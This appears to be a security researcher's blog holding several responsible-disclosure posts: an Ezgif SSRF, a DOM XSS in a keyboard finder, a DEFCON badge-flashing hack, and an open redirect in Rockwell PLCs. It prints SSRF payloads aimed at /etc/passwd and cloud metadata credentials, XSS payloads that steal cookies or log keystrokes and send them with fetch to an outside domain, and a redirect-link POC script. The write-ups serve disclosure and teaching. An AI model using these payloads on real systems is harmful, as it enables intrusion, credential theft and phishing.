Zero-Day Research: Ezgif Server Side Request Forgery

Web applications are quite powerful and diverse in their functionality. I can’t imagine anyone could have predicted how fast web technology could forge its way into every sector of business in the world. It seems as if every day a new type of widget, app, and social networking site are created to appeal to a new group of consumers. Driven by our urge to create something new and captivating, the forward push of web and mobile technology has without a doubt created the largest landscape for security and privacy abuse. As new software comes out, new vulnerabilities follow. Server Side Request Forgery is one of those web vulnerabilities that aren’t particularly new but have managed to stick around for the long haul.

Disclosure and Disclaimer

The Server Side Request Forgery vulnerability was responsibly disclosed to the Ezgif security team. This post was intended for web developers who are interested in keeping their applications secure and is for EDUCATIONAL PURPOSES ONLY. I do not condone illegal activity and cannot be held responsible for the misuse of this information.

What is Server Side Request Forgery?

According to the Open Web Application Security Project, “SSRF flaws occur whenever a web application is fetching a remote resource without validating the user-supplied URL. It allows an attacker to coerce the application to send a crafted request to an unexpected destination, even when protected by a firewall, VPN, or another type of network access control list (ACL).”

Essentially this vulnerability class enables an attacker to convince a web server to reach out and grab content on the attacker’s behalf. Let’s break this down with an example using the following URL:

http://example.com?url=http://evilurl.com
  1. The attacker makes a request to http://example.com?url=http://evilurl.com.
  2. The web server extracts the value of the URL parameter (http://evilurl.com).
  3. The web server makes an HTTP request of its own, reaching out to http://evilurl.com and downloading the necessary content from that page.
  4. The web server displays the downloaded content back to the attacker.

Why is Server Side Request Forgery a Security Bug?

SSRF is a security issue because the attacker can convince the web server to leak sensitive information they typically would not have access to. The best way to understand this is to give a few scenarios using the example URL from above:

Scenario 1: Using alternate URL schemes to download certificates, SSH Keys, passwords, and other sensitive files.

http://example.com?url=file:///etc/passwd
http://example.com?url=ldap://localhost:11211/%0astats%0aquit

Scenario 2: Port scanning internal networks.

http://example.com?url=http://localhost:22
http://example.com?url=http://localhost:443
http://example.com?url=http://localhost:445

Scenario 3: Accessing data on cloud instances

http://example.com?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/s3access

These examples only scratch the surface of what’s possible with SSRF. For substantial list of possibilities, check out Payloads All The Things.

Ezgif Server Side Request Forgery

While I was converting a GIF to an MP4 file I discovered an SSRF vulnerability in the file upload page of Ezgif’s website. Any time you allow a user to upload from a URL without sanitizing the input you run the risk of SSRF.

To confirm this vulnerability we set up a publicly routable reverse proxy, input the address of our reverse proxy, and wait for the request to come through.

Mitigations

OWASP regularly posts mitigations for SSRF vulnerabilities. A snippet of those mitigations can be seen below:

Zero-Day Research: Mechanical Keyboard Finder Version 4.31

Introduction

In this edition of Zero-Day Research, I happen to come across a DOM-based Cross Site Scripting Vulnerability in ‘Mechanical Keyboard’s (MK’s) Famous Mechanical Keyboard Finder (Version 4.31)’ and helped their team verify the issue upon request. I have to give lots of kudos to the awesome security team at MK. They quickly responded and patched the issue within a day of disclosure. If more vendors were as serious as MK about security, our nation’s overall cyber posture would be in much better shape. MK is an industry-leading mechanical keyboard vendor with unique varieties of mechanical keyboards for sale. You can check them out here.

Disclosure and Disclaimer

The Cross Site Scripting vulnerability was responsibly disclosed and verified (upon request) to the MK security team. This post was intended for web developers who are interested in keeping their applications secure and is for EDUCATIONAL PURPOSES ONLY. I do not condone illegal activity and cannot be held responsible for the misuse of this information.

Cross Site Scripting

Cross-Site Scripting (XSS) is a common web vulnerability that allows an attacker to inject malicious javascript into normal websites. XSS is a client-side attack, where the end-user connecting to the application is the victim. This enables attackers to steal credentials, hijack accounts, access sensitive data, and much more. For more information on cross-site scripting, PortSwigger has fantastic in-depth articlesexplaining the different types of XSS and how they can impact end-users.

DOM Based XSS

OWASP refers to DOM Based XSS as “an XSS attack wherein the attack payload is executed as a result of modifying the DOM “environment”. The DOM in this context is the “Document Object Model”, or the tree structure and programming interface that is used to construct HTML web pages:

DOMexample

DOM-based XSS can be more difficult to discover than other forms of XSS because it requires a detailed review of how and where the user input is stored within the DOM. Context is the most important aspect when searching for DOM XSS because the location where user input is stored will almost certainly be different in each scenario and application.

Identifying the Vulnerability

The overall process for identifying DOM XSS bugs is simple:

  1. See if the application stores user input somewhere in the DOM
  2. See if the application filters certain characters or sanitizes the input. If the application sanitizes user input using techniques like HTML or javascript encoding, DOM XSS might not exist in the application.
  3. If the application stores user input without sanitization, you can guarantee some extent of XSS is possible. Even with a Web Application Firewall (WAF) in play, there is an infinite amount of XSS filter bypasses that can be applied to the payload. Only upon request with full permission from the vendor should you every POC (or verify) the vulnerability on a live application. Given that we have permission to verify, we can then start crafting an attack based on where the input is stored in the DOM.

Let’s start with a basic request like so:

xss

We can then search for our unique ‘xss’ term in the DOM after the request has been made:

  • In Firefox (or any browser), right-click on the results page and select ‘View Page Source’:
  • On the HTML source page, select Control/Command+f the find a term
source

After verifying the location and presence of our search term in the DOM we can add a few special characters to the end of the term like so:

xss>"'

Repeating the previous few steps we can verify if our new search term is stored in the DOM without being converted to an HTML entity. A basic list of basic HTML entities is shown below:

entities

In this particular situation, the special characters were not converted to HTML entities. That being said, we can close off the encompassing attribute or tag as a part of our search term and effectively add our code to the DOM.

Payload Crafting

In this context we want to craft a payload that closes off the preceding h3 tag, continues to execute some code, and adds a trailing h3 tag to achieve a correct number of matching tags:

Sample payload:
</h3><img src=x onerror=prompt(document.domain)><h3>

This will cleanly close off the encompassing h3 tag and allow us to execute code that will pop up an alert to the screen with the name of the vulnerable domain:

alert

It worked! 

Note: in scenarios where the application does some form of basic input sanitization searching for bad characters we could url encode our payload like so:

Sample payload encoded:
%3C%2Fh3%3E%3Cimg%20src%3Dx%20onerror%3Dprompt%28document.domain%29%3E%3Ch3%3E

Taking it Further

This XSS bug not only modifies the DOM but is reflected in the URL. This means we could carry out the XSS attack by providing a simple link in a phishing campaign. Collecting user cookies at this point is trivial:

</h3><img src=x onerror=prompt(document.cookie)><h3>
cookies

Keylogging and shipping the data off to a remote server is also quite simple:

</h3><img src=x onerror=prompt'document.onkeypress=function(e){fetch("http://domain.com?k="+String.fromCharCode(e.which))},this.remove();'><h3>

From here the possibilities are endless. There are quite a few XSS payloads on the web. Some possible attack scenarios include:

  • Account Hijacking
  • Port Scanning
  • Spying/Keylogging
  • Browser Hooking with BeEF
  • Installing Backdoors/Malware

Mitigation

DOM XSS can be hard for automated scanners to find at times because of its dynamic nature. This type of bug is quite common across the Internet but can be prevented by treating all user input as malicious and sanitizing the data in question.

PHP (the language used by this site) offers useful functions to achieve sanitization, such as htmlspecialchars() and htmlentities(). These functions will automatically convert special characters to HTML entities. Most languages offer these types of libraries and functions to make sanitizing user input quite easy. One mistake developers make is attempting to implement filtering and sanitization using client-side controls. Each user has complete control over the client, rendering client-side sanitization efforts useless.

References



Proverbs 2:6-8
For the Lord gives wisdom; from his mouth come knowledge and understanding…

Defcon 27: Hacking the Badge

What did we do?

We made modifications to the DEFCON27 Badge and turned it into a ‘Jackp0t’ badge that will complete other attendee’s badge challenge/trigger rick roll when held within a few inches of each other.

Click the image below to watch the video.

Contributors:

  • Josiah Bryan
  • Geancarlo Palavicini Jr
  • Nick Engmann

The Challenge

This year’s DEFCON Badge challenge involved social interactions with an RF Badge. A regular attendee is challenged to find and touch badges with 10 different badge types (including Sponsors, Vendors, Goons, and even Press). This becomes super challenging when you have to find one of the 20 individuals out of a 30,000 person conference with a Black “UBER” badge (an exciting but non-trivial task). It was much easier for us to figure out how to flash the DEFCON27 badge to do three things:

  1. Automatically complete the “touch 10 different badge types” challenge
  2. Easily help our fellow attendees by unlocking their badges with one that can act as a chameleon, emulating all other badge types.
  3. Profit ???

That’s what the Jackp0t badge does. It automatically puts you in a “COMPLETE” (or win) state on boot and emulates all the different badge types to complete other attendee’s badges in a matter of seconds.

Check out our demo video

How Did you Become a Village?

Quality Rick Roll

Required Hardware

Required Software

  • nxp MCUXpresso IDE 10.2.1
    • an IDE developed by NXP to use with the LPC-Link2. If you are flashing using the Black Magic Probe you won’t need this.
  • FRDM-KL27Z SDK 2.4.1
    • the SDK for interacting with the MKL27Z64VDA4 microcontroller with the MCUXpresso IDE.
  • GDB
    • Powerful GNU Project Debugger. Used to interact with the Black Magic Probe to flash images

Flashing

In order to debug or flash your device, you’ll need one of the many ARM programmers available. We’ve confirmed two different ways to flash. One using the LPC-Link2 + Tag-Connect Cable and one using a Black Magic Probe + Tag-Connect Cable. Depending on your available hardware/software please reference the appropriate section.

LPC-Link2 Setup

  • Install the MCUXpresso IDE on a Windows Machine.
  • Install the SDK by dragging and dropping the SDK Zip file into the MCUXpresso IDE
  • Clone the Jackp0t repo.
$ git clone https://github.com/NickEngmann/Jackp0t.git
  • Copy/Import the Jackp0t/dc27_badge folder into the MCUXpresso IDE.
  • Plug the Tag-Connect Cable into the LPC-Link2.
  • Attach the Tag-Connect Cable to the DEFCON27 Badge.
  • Click on the Flash Button to Flash the Board.

Black Magic Probe Setup

  • Download the jackp0t.bin binary
  • Install GDB
  • Plug in the Black Magic Probe into your computer via USB.
  • Update the firmware on the Black Magic Probe.We initially ran into a lot of issues with the default firmware on the Black Magic Probe. If you update the firmware using the master branch of the wiki, flashing the device was becomes far more consistent. Check out Ross’ instructions on how to upgrade the firmware on the Black Magic Probe:To update your black magic probe, clone the firmware repo from Github build it with make and then perform a DFU update on your probe with the following command:
    • sudo dfu-util -d 1d50:6018,:6017 -s 0x08002000:leave -D src/blackmagic.bin — Ross Schlaiker
  • Open up the arm toolchain.$ arm-none-eabi-gdb
  • Connect to the Black Magic Probe Device via GDB.
    • $ (gdb) target extended-remote <device> On OSX is /dev/cu.usbmodem <some ##>On Linux is /dev/ttyUSB0
  • Touch the Black Magic Probe + Tag-Connect to the SWD pins on the badge. 
  • Use the monitor swdp scan command to connect to the device using the Serial-Wire Debug Protocol.
    • $ (gdb) monitor swdp scan Output: Target voltage: 1.8V Available Targets: No. Att Driver 1 KL27x64 M0+ 2 Kinetis Recovery (MDM-AP)
    • If your scan doesn’t return KL27x64 M0+, and instead returns ‘Generic Cortex-M’, close GDB and retry. This seems to be a race condition of some sort. — Ross Schlaiker
  • Attach to the KL27 Microcontroller.
    • $ (gdb) attach 1
  • Allow GDB to allow access to memory outside of the device’s known memory map. This is useful to allow access to memory mapped IO from GDB.
    • $ (gdb) set mem inaccessible-by-default off
  • Set the binary file. Make sure the binary is in the current directory.
    • $ (gdb) file jackp0t.bin
  • Load the binary onto the board.
    • $ (gdb) load

Future Applications

Figuring out how to edit the source code and successfully flash these badges opens the door to tons of different future hacks. Feel free to use these instructions as a jumping point to create complex hacks like turning the badge into a custom clock!

Credits

License

This project is MIT licensed.

Zero-Day Research: Rockwell Automation MicroLogix 1400 and CompactLogix 5370 Controllers

Background

As technology continues to advance and more devices become networked together, new vulnerabilities will inevitably rise to the surface that security teams will have to deal with. The critical infrastructure sector is no exception to this phenomenon, where common web technologies are being found more frequently in Programmable Logic Controllers (PLCs), a keystone piece of any industrial network. During our SCADA (Supervisory Control and Data Acquisition)/ICS (Industrial Control System) research over the years, we have seen this trend firsthand, which lead us to examine whether the introduction of web technologies would also introduce many of the vulnerabilities that have plagued websites for decades. This post will cover an Open Redirect Zero Day vulnerability we discovered in Rockwell Automation controllers and provide a POC python exploit to help demonstrate our findings.

DISCLAIMER

This post is for education purposes ONLY. Exploiting a live PLC is illegal. We do not condone illegal activity and cannot be held responsible for any misuse of the given information.

AFFECTED PRODUCTS

The following Rockwell Automation products are affected:

  • MicroLogix 1400 Controllers
  • Series A, All Versions
  • Series B, v15.002 and earlier
  • MicroLogix 1100 Controllers v14.00 and earlier
  • CompactLogix 5370 L1 controllers v30.014 and earlier
  • CompactLogix 5370 L2 controllers v30.014 and earlier
  • CompactLogix 5370 L3 controllers (includes CompactLogix GuardLogix controllers) v30.014 and earlier

Open Redirect Vulnerability

An Open Redirect vulnerability occurs when a web application accepts user-supplied input in the URL that contains a link to an external website, and consequently uses that link to redirect the user’s browser, providing a mechanism for attackers to install malicious software on the user’s machine. The Open Redirect vulnerability we discovered in various Rockwell Controllers is no exception to this rule. Each controller runs a web server that displays diagnostics about that specific PLC. There also exists a URL parameter that enables the PLC to redirect the user’s browser like so:

http://192.168.1.12/index.html?redirect=/localpage

The redirect parameter intends to send users to another page located on the PLCs website. Under normal circumstances, the PLC would filter out redirects to an external website, so if you tried the following:

http://192.168.1.12/index.html?redirect=/externalsite

it would filter out the request and prevent the browser from being sent to a malicious site. However, the PLCs redirect filter does not account for the various ways to enter a URL like so:

http://192.168.1.12/index.html?redirect=//MaliciousSite.com

From the browser’s perspective, the second ‘/’ character will be ignored, making it a valid URL yet bypassing the PLCs filter. The browser will then be redirected to the website provided after the second ‘/’. This type of client-side attack can aid in phishing campaigns to setup browser exploits or install malware.

Proof of Concept Exploit

Consider the following scenario:

A user with access to the controller receives an email disguised as the Support Center or Help Desk (Figure Below):

HelpDesk

Upon following the link, you can see the user is prompted to save the executable being served on the external site:

RedirectMalware

This basic example demonstrates how the browser is redirected to an external page, setting up the stage for far more complex browser attacks. This attack could indirectly pose a real threat to the control system if the attacker manages to get direct access to a machine that has access to the controller. The following POC code will generate a redirect link for you to replicate the attack in a controlled environment:

import argparse

parser = argparse.ArgumentParser(description='Callback Script')
parser.add_argument('-r', '--redirect', required=True, dest="redirect", action='store', help='Redirect Destination IP')		
parser.add_argument('-p', '--plc', required=True, dest="plc", action='store', help='Rockwell Controller IP')	
args = parser.parse_args()  #Parse Command Line Arguments

print "Generating link..."
print "http://"+args.plc+"/index.html?redirect=//"+args.redirect

Disclosure

The vulnerabilities were immediately reported to the National Cybersecurity and Communications Integration Center (NCCIC) by security researchers Josiah Bryan and Geancarlo Palavicini. You can find the full advisory here.

Mitigation

Rockwell Automation has released an update for each of the affected devices. Rockwell also recommends users take defensive measures to minimize the risk of exploitation of this vulnerability. Specifically, users should:

  • Update to the latest available firmware revision that addresses the associated risk.
  • Use trusted software, software patches, anti-virus/anti-malware programs, and interact only with trusted websites and attachments.
  • Minimize network exposure for all control system devices and/or systems, and ensure that they are not accessible from the Internet.
  • Locate control system networks and devices behind firewalls and isolate them from the business network.
  • When remote access is required, use secure methods such as virtual private networks (VPNs), recognizing that VPNs may have vulnerabilities and should be updated to the most current version available. VPN is only as secure as the connected devices.
  • Employ training and awareness programs to educate users on the warning signs of a phishing or social engineering attack.